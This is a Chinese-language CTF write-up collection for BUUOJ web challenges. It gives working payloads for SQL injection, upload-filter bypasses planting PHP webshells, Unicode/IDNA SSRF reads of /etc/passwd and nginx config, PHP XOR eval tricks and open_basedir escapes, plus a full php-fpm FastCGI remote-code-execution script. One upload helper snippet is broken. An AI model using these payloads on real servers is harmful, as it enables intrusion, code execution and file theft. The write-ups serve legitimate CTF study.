buuoj部分wp
Web
1.[SUCTF]EasySQL
预期解
后台的查询语句可能为select $_POST['a'] || flag from flag
,此时的||
为管道符,即前面的查询输出作为后面查询的输入。如果光是这样的话,我们是查询到flag
表中的数据的(关键字被过滤),如下只能得到前面查询语句的查询结果:
所以要利用该查询语句查询到
flag
,我们应该将||
转换成字符连接符,这样就能将前后查询结果拼接在一起返回。这里需要修改
mysql
中sql_mode
的一个配置pipes_as_concat
,这样就可以达到目的。
而且该题目支持堆叠查询 所以如下
payload
:
1;set sql_mode=pipes_as_concat;select 1'
非预期
*,1
2.[SUCTF]CheckIn
题目中过滤了.htaccess
,不过还有.user.ini可以利用。
可是还有个exif_imagetype
的限制,这里可以直接在文件中加入xbm文件头
#define test_width 16
#define test_height 7
来绕过。
所以最后上传.user.ini
和一句话木马
访问上传目录下的
index.php
,根据.user.ini
的作用,将会去包含图片马3.[SUCTF]Pythonginx
官方WP说是black hat2019上的东西
预期解
利用
℆
这个特殊的符号作为间隔,绕过代码中对suctf.cc
的检验。前面是c
,刚好是suctf.cc
的第二个c
,后面的u
则用usr
的u
去接收。其中de1ta使用的是以下代码找到符合条件的特殊字符
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
然后用../../../
以及file
协议去读取文件,根据题目提示,去读取nginx
的配置文件,如下:
file://suctf.c℆sr/../../../../../../usr/local/nginx/conf/nginx.conf
发现
flag
文件,读取文件
file://suctf.c℆sr/fffffflag
非预期
- 可以用
。
替代.
从而绕过检测,如:
file://suctf。cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://suctf。cc/usr/fffffflag
- 使用
%C5%BF
代替s
绕过,如:
file://%C5%BFuctf.cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://%C5%BFuctf.cc/usr/fffffflag
- 利用
file:////suctf.cc/etc/passwd
绕过
可以发现不管是urlparse
还是urlsplit
都是无法识别到host
的,即为空
然后经过题目中代码的转化,可以发现原本parts[1]
的位置(host
)还是为空,但是在urlunsplit
重新拼接的时候,parts[0]:file
和parts[1]:
和parts[2]://sucft.cc/etc/passwd
拼接起来刚好就是file://suctf.cc/etc/passwd
。
也就是说urlsplit
和urlunsplit
的过程中去掉了//
。
4.[SUCTF]easyphp
源码如下:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
-
_
长度要小于18 - 要绕过
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)
正则 - 相同字符的个数要少于12个(这题中没什么用)
- 调用
get_the_flag
去触发文件上传
上面这里基本上是和https://xz.aliyun.com/t/5677一致,再联系到国赛lovemath
那题。不难想到要通过异或或者取反以及使用花括号获得GET
请求中另一个参数,然后另外的那个参数去调用get_the_flag()
。因为过滤了取反运算,所以我们采用异或运算去构造。
首先构造出_GET
,使用字符串_GET
的ascii
码与0xffffffff
异或,得到0xa0b8baab
然后使用
0xa0b8baab^0xffffffff
就可以构造出_GET
的ascii
码。所以我们使用
%ff%ff%ff%ff^%a0%b8%ba%ab
,然后结果会进行一次url
解码,所以会得到_GET
。
php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都⾃自动作为字符串串,7.2开始提出要被废弃,不过目前还存在着。所以其实有没有过滤引号都无所谓。
然后就要用到花括号了,${_GET}
这种方式可以获得GET
请求中所有变量的值,如下:
所以我们就可以使用
${_GET}{%ff}
的形式去读取GET
请求中%ff
的值(这里{}和[]是同样效果),如下:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
接下来是上传文件部分。
- 文件后缀不能包括
ph
- 文件中不能出现
<?
- 文件格式要绕过
exif_imagetype($tmp_name)
这跟之前的Checkin
差不多思路,后缀问题可以用.htaccess
绕过,因为可以根据phpinfo
发现php
版本为7.2,所以无法用短标签绕过<?
。
7.0.0 The ASP tags <%, %>, <%=, and the script tag <script language="php"> are removed from PHP.
5.4.0 The tag <?= is always available regardless of the short_open_tag ini setting.
我们可以考虑用在.htaccess
中用伪协议+base64编码绕过。文件格式加个
#define test_width 16
#define test_height 7
即可。
构造.htaccess
如下:
#define test_width 16
#define test_height 7
AddType application/x-httpd-php .zz
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.zz"
构造1.jpg
如下,其中b"\x18\x81\x7c\xf5"
base64解码为GIF89
:
import base64
a="<?php eval($_GET['zz']);?>"
f = open('1.zz','b')
f.write(b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['zz']);?>")
上传getshell
接下来就是绕open_basedir
的问题了。参考https://xz.aliyun.com/t/4720
修改一下payload
,如下:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/THis_Is_tHe_F14g"));
除了上面这种方法可以绕过open_basedir
以外,也可以用打fpm
的方法来达到绕过。附P神脚本
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir= /',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
5.[SUCTF]upload
因为折腾了太多天,感觉只写一点对不起自己,就另开一篇重点描述一下
https://www.jianshu.com/p/b97080cd7623
6.[EIS]ezpop
https://www.jianshu.com/p/763427ea0e4b
7.[bytectf]ezcms
https://www.jianshu.com/p/99bfcf67aa38
8.[XNUCA]ezphp
https://www.jianshu.com/p/649e2db7ce84
9.[D^3CTF]ezupload
https://www.jianshu.com/p/8758443fb495
10-13.[swpuctf2019]web1,3,4,6
https://www.jianshu.com/p/71bc9bdd9882
14.[RoarCTF2019]Easy Java
https://www.jianshu.com/p/4ead45ca06d7
15.[RoarCTF2019]Easy Calc
https://www.jianshu.com/p/4ead45ca06d7
16.[RoarCTF2019]Simple upload
https://www.jianshu.com/p/4ead45ca06d7
17.[De1CTF2019]shellshellshell
https://www.jianshu.com/p/c0b8efb60954
18.[De1CTF2019]SSRFme
https://www.jianshu.com/p/c0b8efb60954